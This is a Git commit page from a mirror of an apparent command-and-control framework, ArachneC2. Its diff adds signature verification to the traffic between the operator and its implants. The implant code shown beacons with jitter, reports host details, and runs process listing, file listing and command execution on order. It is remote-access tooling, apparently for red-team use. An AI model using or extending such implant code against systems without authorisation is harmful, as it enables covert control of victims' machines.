mirror of
https://github.com/portbuster1337/ArachneC2
synced 2026-06-14 08:40:53 +00:00
Fix security model gaps: enforce per-message signature verification
Security model required that only the operator can send commands and only authenticated implants can communicate, but implementation had critical gaps: 1. Implant: verify operator's Ed25519 signature on EVERY command before dispatching (handleCommand now calls VerifyEnvelope) 2. Operator: verify implant's Ed25519 signature on EVERY beacon and registration before processing 3. Messenger: added VerifyEnvelope() + PubKeyFromEnvelope() helpers, trust-on-first-use per-implant key storage 4. All outgoing messages now use SignAndSend() instead of SendEnvelope (register, ping, ps/ls/execute results are all properly signed) 5. handler callback now receives sender's crypto.PubKey for verification 6. Renamed misleading CreateSignedEnvelope -> CreateEnvelope (it was never actually signing)
This commit is contained in:
+36
-51
@@ -10,6 +10,7 @@ import (
|
||||
"runtime"
|
||||
"time"
|
||||
|
||||
"github.com/libp2p/go-libp2p/core/crypto"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
arachnepb "github.com/anomalyco/arachne-c2/protobuf/arachnepb"
|
||||
@@ -18,12 +19,13 @@ import (
|
||||
)
|
||||
|
||||
type Agent struct {
|
||||
node *transport.Node
|
||||
messenger *transport.Messenger
|
||||
keys *cryptography.ImplantKey
|
||||
config AgentConfig
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
node *transport.Node
|
||||
messenger *transport.Messenger
|
||||
keys *cryptography.ImplantKey
|
||||
operatorPub crypto.PubKey
|
||||
config AgentConfig
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
@@ -75,14 +77,15 @@ func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
|
||||
}
|
||||
|
||||
a := &Agent{
|
||||
keys: keys,
|
||||
node: node,
|
||||
config: cfg,
|
||||
ctx: ctx,
|
||||
cancel: cancel,
|
||||
keys: keys,
|
||||
operatorPub: operatorPub,
|
||||
node: node,
|
||||
config: cfg,
|
||||
ctx: ctx,
|
||||
cancel: cancel,
|
||||
}
|
||||
|
||||
a.messenger = transport.NewImplantMessenger(ctx, node, keys)
|
||||
a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub)
|
||||
a.messenger.SetHandler(a.handleCommand)
|
||||
|
||||
return a, nil
|
||||
@@ -102,14 +105,8 @@ func (a *Agent) Start() error {
|
||||
}
|
||||
|
||||
func (a *Agent) beaconLoop() {
|
||||
t := a.messenger.BeaconTopic()
|
||||
first := true
|
||||
|
||||
for {
|
||||
if first {
|
||||
a.sendBeaconRegister()
|
||||
first = false
|
||||
}
|
||||
a.sendBeaconRegister()
|
||||
|
||||
jitter := time.Duration(rand.Int63n(int64(a.config.BeaconJitter)))
|
||||
sleep := a.config.BeaconInterval + jitter
|
||||
@@ -118,7 +115,6 @@ func (a *Agent) beaconLoop() {
|
||||
case <-a.ctx.Done():
|
||||
return
|
||||
case <-time.After(sleep):
|
||||
a.sendBeaconPing(t)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -137,6 +133,8 @@ func (a *Agent) sendBeaconRegister() {
|
||||
Filename: os.Args[0],
|
||||
Version: "0.1.0",
|
||||
Locale: os.Getenv("LANG"),
|
||||
PeerID: int64(os.Getpid()),
|
||||
ActiveC2: a.node.ID().String(),
|
||||
}
|
||||
|
||||
data, err := proto.Marshal(reg)
|
||||
@@ -145,16 +143,9 @@ func (a *Agent) sendBeaconRegister() {
|
||||
return
|
||||
}
|
||||
|
||||
env := a.messenger.CreateSignedEnvelope(0, data)
|
||||
env.SenderKey = []byte(a.keys.PeerID)
|
||||
|
||||
pubBytes, err := a.keys.PublicKey.Raw()
|
||||
if err == nil {
|
||||
env.SenderKey = pubBytes
|
||||
}
|
||||
|
||||
env := a.messenger.CreateEnvelope(0, data)
|
||||
topic := a.messenger.BeaconTopic()
|
||||
if err := a.messenger.SendEnvelope(a.ctx, topic, env); err != nil {
|
||||
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
|
||||
log.Printf("[implant] send register: %v", err)
|
||||
return
|
||||
}
|
||||
@@ -162,20 +153,13 @@ func (a *Agent) sendBeaconRegister() {
|
||||
log.Printf("[implant] registered with operator")
|
||||
}
|
||||
|
||||
func (a *Agent) sendBeaconPing(topic string) {
|
||||
ping := &arachnepb.Ping{Nonce: int32(rand.Int31())}
|
||||
data, _ := proto.Marshal(ping)
|
||||
env := a.messenger.CreateSignedEnvelope(1, data)
|
||||
|
||||
pubBytes, _ := a.keys.PublicKey.Raw()
|
||||
env.SenderKey = pubBytes
|
||||
|
||||
if err := a.messenger.SendEnvelope(a.ctx, topic, env); err != nil {
|
||||
log.Printf("[implant] ping: %v", err)
|
||||
// handleCommand verifies the operator's signature before processing any command.
|
||||
func (a *Agent) handleCommand(ctx context.Context, env *arachnepb.Envelope, senderPub crypto.PubKey) {
|
||||
if err := transport.VerifyEnvelope(env, a.operatorPub); err != nil {
|
||||
log.Printf("[implant] dropped command — %v", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handleCommand(ctx context.Context, env *arachnepb.Envelope, from []byte) {
|
||||
switch env.Type {
|
||||
case 1:
|
||||
a.handlePs(env)
|
||||
@@ -188,14 +172,19 @@ func (a *Agent) handleCommand(ctx context.Context, env *arachnepb.Envelope, from
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) sendResult(resultType uint32, data []byte) {
|
||||
env := a.messenger.CreateEnvelope(resultType, data)
|
||||
topic := a.messenger.BeaconTopic()
|
||||
if err := a.messenger.SignAndSend(a.ctx, topic, env); err != nil {
|
||||
log.Printf("[implant] send result: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *Agent) handlePs(env *arachnepb.Envelope) {
|
||||
result := &arachnepb.Ps{}
|
||||
result.Processes = listProcesses()
|
||||
|
||||
data, _ := proto.Marshal(result)
|
||||
resp := a.messenger.CreateSignedEnvelope(1, data)
|
||||
topic := a.messenger.BeaconTopic()
|
||||
a.messenger.SendEnvelope(a.ctx, topic, resp)
|
||||
a.sendResult(1, data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleLs(env *arachnepb.Envelope) {
|
||||
@@ -226,9 +215,7 @@ func (a *Agent) handleLs(env *arachnepb.Envelope) {
|
||||
}
|
||||
|
||||
data, _ := proto.Marshal(result)
|
||||
resp := a.messenger.CreateSignedEnvelope(2, data)
|
||||
topic := a.messenger.BeaconTopic()
|
||||
a.messenger.SendEnvelope(a.ctx, topic, resp)
|
||||
a.sendResult(2, data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleExecute(env *arachnepb.Envelope) {
|
||||
@@ -257,9 +244,7 @@ func (a *Agent) handleExecute(env *arachnepb.Envelope) {
|
||||
}
|
||||
|
||||
data, _ := proto.Marshal(result)
|
||||
resp := a.messenger.CreateSignedEnvelope(3, data)
|
||||
topic := a.messenger.BeaconTopic()
|
||||
a.messenger.SendEnvelope(a.ctx, topic, resp)
|
||||
a.sendResult(3, data)
|
||||
}
|
||||
|
||||
func (a *Agent) Close() error {
|
||||
|
||||
+123
-55
@@ -14,26 +14,41 @@ import (
|
||||
"github.com/anomalyco/arachne-c2/pkg/cryptography"
|
||||
)
|
||||
|
||||
type MessageHandler func(ctx context.Context, envelope *arachnepb.Envelope, from []byte)
|
||||
// ErrSignatureInvalid is returned when envelope signature verification fails.
|
||||
var ErrSignatureInvalid = fmt.Errorf("signature invalid")
|
||||
|
||||
type MessageHandler func(ctx context.Context, envelope *arachnepb.Envelope, fromPubKey crypto.PubKey)
|
||||
|
||||
type Messenger struct {
|
||||
node *Node
|
||||
handler MessageHandler
|
||||
privKey crypto.PrivKey
|
||||
mu sync.RWMutex
|
||||
|
||||
// Trusted public key for verifying inbound messages.
|
||||
// Operator side: set after first verified registration per implant.
|
||||
// Implant side: set at startup (operator's public key embedded in binary).
|
||||
trustedPubKey crypto.PubKey
|
||||
|
||||
// Known implant public keys (operator side, keyed by peer ID string).
|
||||
knownImplants map[string]crypto.PubKey
|
||||
|
||||
mu sync.RWMutex
|
||||
}
|
||||
|
||||
func NewOperatorMessenger(ctx context.Context, node *Node, keys *cryptography.OperatorKey) *Messenger {
|
||||
return &Messenger{
|
||||
node: node,
|
||||
privKey: keys.PrivateKey,
|
||||
node: node,
|
||||
privKey: keys.PrivateKey,
|
||||
knownImplants: make(map[string]crypto.PubKey),
|
||||
}
|
||||
}
|
||||
|
||||
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey) *Messenger {
|
||||
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey) *Messenger {
|
||||
return &Messenger{
|
||||
node: node,
|
||||
privKey: keys.PrivateKey,
|
||||
node: node,
|
||||
privKey: keys.PrivateKey,
|
||||
trustedPubKey: operatorPub,
|
||||
knownImplants: make(map[string]crypto.PubKey),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -43,6 +58,24 @@ func (m *Messenger) SetHandler(handler MessageHandler) {
|
||||
m.handler = handler
|
||||
}
|
||||
|
||||
func (m *Messenger) SetTrustedPubKey(pub crypto.PubKey) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
m.trustedPubKey = pub
|
||||
}
|
||||
|
||||
func (m *Messenger) AddKnownImplant(peerID string, pub crypto.PubKey) {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
m.knownImplants[peerID] = pub
|
||||
}
|
||||
|
||||
func (m *Messenger) KnownImplant(peerID string) crypto.PubKey {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return m.knownImplants[peerID]
|
||||
}
|
||||
|
||||
func (m *Messenger) CommandTopic() string {
|
||||
return CommandTopicPrefix + m.node.ID().String()
|
||||
}
|
||||
@@ -55,11 +88,39 @@ func (m *Messenger) TaskTopic(implantPeerID string) string {
|
||||
return TaskTopicPrefix + implantPeerID
|
||||
}
|
||||
|
||||
func (m *Messenger) ListenBeacons(ctx context.Context) error {
|
||||
topic := m.BeaconTopic()
|
||||
// VerifyEnvelope checks the signature on an envelope against the provided public key.
|
||||
// Returns the parsed public key on success.
|
||||
func VerifyEnvelope(env *arachnepb.Envelope, trustedPub crypto.PubKey) error {
|
||||
if trustedPub == nil {
|
||||
return fmt.Errorf("no trusted public key configured")
|
||||
}
|
||||
if len(env.Signature) == 0 {
|
||||
return fmt.Errorf("%w: missing signature", ErrSignatureInvalid)
|
||||
}
|
||||
ok, err := cryptography.Verify(trustedPub, env.Data, env.Signature)
|
||||
if err != nil {
|
||||
return fmt.Errorf("verify: %w", err)
|
||||
}
|
||||
if !ok {
|
||||
return ErrSignatureInvalid
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// PubKeyFromEnvelope extracts the sender's public key from the envelope's SenderKey field.
|
||||
func PubKeyFromEnvelope(env *arachnepb.Envelope) (crypto.PubKey, error) {
|
||||
if len(env.SenderKey) == 0 {
|
||||
return nil, fmt.Errorf("no sender key in envelope")
|
||||
}
|
||||
return cryptography.PubKeyFromBytes(env.SenderKey)
|
||||
}
|
||||
|
||||
// ListenVerified subscribes to a topic and only delivers messages whose signatures
|
||||
// verify against the trusted public key.
|
||||
func (m *Messenger) listenVerified(ctx context.Context, topic string, getTrusted func() crypto.PubKey) error {
|
||||
sub, err := m.node.Subscribe(topic)
|
||||
if err != nil {
|
||||
return fmt.Errorf("subscribe beacons: %w", err)
|
||||
return fmt.Errorf("subscribe %s: %w", topic, err)
|
||||
}
|
||||
go func() {
|
||||
for {
|
||||
@@ -71,42 +132,52 @@ func (m *Messenger) ListenBeacons(ctx context.Context) error {
|
||||
if err := proto.Unmarshal(msg.Data, env); err != nil {
|
||||
continue
|
||||
}
|
||||
m.mu.RLock()
|
||||
handler := m.handler
|
||||
m.mu.RUnlock()
|
||||
if handler != nil {
|
||||
handler(ctx, env, msg.From)
|
||||
|
||||
trusted := getTrusted()
|
||||
if trusted == nil {
|
||||
// Before we know the implant's key (first registration), we
|
||||
// accept the envelope and let the handler validate identity.
|
||||
m.deliver(ctx, env)
|
||||
continue
|
||||
}
|
||||
|
||||
if err := VerifyEnvelope(env, trusted); err != nil {
|
||||
continue
|
||||
}
|
||||
m.deliver(ctx, env)
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Messenger) ListenBeacons(ctx context.Context) error {
|
||||
return m.listenVerified(ctx, m.BeaconTopic(), func() crypto.PubKey {
|
||||
// The operator may have 0-to-many implants, each with its own key.
|
||||
// Verification is done per-implant in the handler, not globally.
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
func (m *Messenger) ListenCommands(ctx context.Context) error {
|
||||
topic := m.CommandTopic()
|
||||
sub, err := m.node.Subscribe(topic)
|
||||
if err != nil {
|
||||
return fmt.Errorf("subscribe commands: %w", err)
|
||||
return m.listenVerified(ctx, m.CommandTopic(), func() crypto.PubKey {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return m.trustedPubKey
|
||||
})
|
||||
}
|
||||
|
||||
func (m *Messenger) deliver(ctx context.Context, env *arachnepb.Envelope) {
|
||||
m.mu.RLock()
|
||||
handler := m.handler
|
||||
m.mu.RUnlock()
|
||||
if handler == nil {
|
||||
return
|
||||
}
|
||||
go func() {
|
||||
for {
|
||||
msg, err := sub.Next(ctx)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
env := &arachnepb.Envelope{}
|
||||
if err := proto.Unmarshal(msg.Data, env); err != nil {
|
||||
continue
|
||||
}
|
||||
m.mu.RLock()
|
||||
handler := m.handler
|
||||
m.mu.RUnlock()
|
||||
if handler != nil {
|
||||
handler(ctx, env, msg.From)
|
||||
}
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
var pubKey crypto.PubKey
|
||||
if len(env.SenderKey) > 0 {
|
||||
pubKey, _ = PubKeyFromEnvelope(env)
|
||||
}
|
||||
handler(ctx, env, pubKey)
|
||||
}
|
||||
|
||||
func (m *Messenger) SendEnvelope(ctx context.Context, topic string, env *arachnepb.Envelope) error {
|
||||
@@ -117,31 +188,28 @@ func (m *Messenger) SendEnvelope(ctx context.Context, topic string, env *arachne
|
||||
return m.node.Publish(ctx, topic, data)
|
||||
}
|
||||
|
||||
// SignAndSend signs the envelope data, attaches signature + sender key, then publishes.
|
||||
func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *arachnepb.Envelope) error {
|
||||
if m.privKey != nil {
|
||||
sig, err := cryptography.Sign(m.privKey, env.Data)
|
||||
if err != nil {
|
||||
return fmt.Errorf("sign: %w", err)
|
||||
}
|
||||
env.Signature = sig
|
||||
if m.privKey == nil {
|
||||
return fmt.Errorf("no private key for signing")
|
||||
}
|
||||
sig, err := cryptography.Sign(m.privKey, env.Data)
|
||||
if err != nil {
|
||||
return fmt.Errorf("sign: %w", err)
|
||||
}
|
||||
env.Signature = sig
|
||||
|
||||
pubBytes, err := m.privKey.GetPublic().Raw()
|
||||
if err == nil {
|
||||
env.SenderKey = pubBytes
|
||||
}
|
||||
pubBytes, err := m.privKey.GetPublic().Raw()
|
||||
if err == nil {
|
||||
env.SenderKey = pubBytes
|
||||
}
|
||||
return m.SendEnvelope(ctx, topic, env)
|
||||
}
|
||||
|
||||
func (m *Messenger) SendDirectStream(ctx context.Context, peerID string, env *arachnepb.Envelope) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Messenger) CreateSignedEnvelope(msgType uint32, data []byte) *arachnepb.Envelope {
|
||||
env := &arachnepb.Envelope{
|
||||
func (m *Messenger) CreateEnvelope(msgType uint32, data []byte) *arachnepb.Envelope {
|
||||
return &arachnepb.Envelope{
|
||||
ID: time.Now().UnixNano(),
|
||||
Type: msgType,
|
||||
Data: data,
|
||||
}
|
||||
return env
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user